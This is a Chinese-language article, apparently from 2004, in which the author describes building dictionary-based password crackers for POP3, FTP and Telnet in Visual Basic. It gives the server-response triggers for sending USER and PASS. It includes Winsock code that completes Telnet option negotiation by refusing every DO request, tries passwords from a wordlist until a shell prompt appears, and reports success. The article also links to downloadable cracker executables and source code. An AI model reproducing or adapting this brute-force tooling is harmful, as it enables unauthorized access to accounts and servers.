首页 电脑 电脑学堂 查看内容

完成Telnet连接协商的最简方式

2004-9-29 20:05 672 0

摘要: 记得当年见到天行网络刺客的时候,景仰的不得了。老想着知道是怎么做出来的。前两天用VB的winsock 控件,用的顺手,竟一发不可收拾,干脆把pop3、ftp、telnet的自动破解机都做了一遍。POP...
关键词: nbsp 口令 iDataLength iNegotiateDataCo 协商 Text 命令 txtMoniter 字符串 vbCrLf

记得当年见到天行网络刺客的时候,景仰的不得了。老想着知道是怎么做出来的。前两天用VB的winsock 控件,用的顺手,竟一发不可收拾,干脆把pop3、ftp、telnet的自动破解机都做了一遍。POP3数据发送条件:        收到“assword:”字符串则发送“PASS 用户口令”        收到“-ERR”字符串则发送“USER 用户名”        收到“message”则确认破解成功FTP 数据发送条件:        收到“331”字符串则发送“PASS 用户口令”        收到“230”字符串则发送“USER 用户名”        收到“530”则确认破解成功这两个都非常简单,telnet就有点难了,难在自动破解之前先要进行连接协商,协商选项有那么多,如果每个都判断,然后做响应,程序复杂不说,就这个乱劲就让我头都大了。呵呵,做一个针对telnet的自动口令破解机我都想了半年了,就是这里不想做。今天想了一个简单的办法,就是把服务端发来的协商命令复制,然后再返回去,不过把所有的DO字节全都改成WONT字节。成功完成协商,目前Linux、solaris和AIX都没问题。部分代码如下:------------------Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)    Dim bRecieve() As Byte    Dim bSend() As Byte    Dim iDataLength As Integer    Dim iNegotiateDataCount As Integer        iDataLength = 0    Winsock1.GetData bRecieve        '统计协商命令个数,因为协商命令必以IAC开头,统计IAC个数即可    For i = 0 To bytesTotal - 1        If bRecieve(i) = IAC Then iNegotiateDataCount = iNegotiateDataCount + 1    Next i        iNegotiateDataCount = iNegotiateDataCount * 3 - 1    If iNegotiateDataCount 〉 0 Then ReDim bSend(iNegotiateDataCount) As Byte        txtMoniter.Text = ""    While iDataLength 〈 bytesTotal        If iDataLength 〈= iNegotiateDataCount Then   '只返回同接受到的协商命令一样长度的应答命令            bSend(iDataLength) = bRecieve(iDataLength)            If bSend(iDataLength) = xDO Then bSend(iDataLength) = WONT '嘿嘿,无论服务端要求什么,一律回绝,这是我苦思半年之久的结论        End If        txtMoniter.Text = txtMoniter.Text & Chr(bRecieve(iDataLength))        iDataLength = iDataLength + 1    Wend        If iNegotiateDataCount 〉 0 Then Winsock1.senddata bSend             '返回应答协商命令        If InStr(txtMoniter.Text, "ogin:") 〉 0 Then        Winsock1.senddata txtUserid.Text & vbCrLf        Exit Sub    End If        If InStr(txtMoniter.Text, "assword:") 〉 0 Then        If Not EOF(iFileIn) Then            Call senddata        Else            Call cmdStop_Click            txtHint.Text = vbCrLf & "    口令字典中所有口令已经测试完毕,没有匹配的口令被发现!@#$@!$#@!$!@#$#@" & _                     vbCrLf & "    请换一个口令文件后重新来过!"        End If        Exit Sub    End If    If InStr(txtMoniter.Text, "sh:") Then       '这里的成功确认字符串应该仔细考虑,本来是"$",但对中文系统不管用,只好用错命令的方法        MsgBox "Have got it!!!" & vbCrLf & strSend        Call cmdStop_Click        txtHint.Text = vbCrLf & "    哈哈!口令破解成功:" & vbCrLf & "    " & "USER " & txtUserid.Text & vbCrLf & "    " & strSend    End IfEnd Sub------------------可执行文件(都20k 左右):       http://cim.nankai.edu.cn/download/telnetcracker.exe       http://cim.nankai.edu.cn/download/pop3cracker.exe       http://cim.nankai.edu.cn/download/ftpcracker.exe为了配合自动破解机的使用,做了一个口令检索系统,把这些可执行程序集成一起了,内含一个简易的口令生成器。源码和可执行文件(所有)都打包放在:       http://cim.nankai.edu.cn/download/passwdmanager.zip ; (177k)本来想做一个安装文件,但做出来一看,居然有20M,就算了。如果这里的可执行文件有人下载后运行不了,自己想办法吧。最简单的办法:装上VB肯定就都能用了:)  。都是单线程的,等以后有机会看看能不能改成多线程吧。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部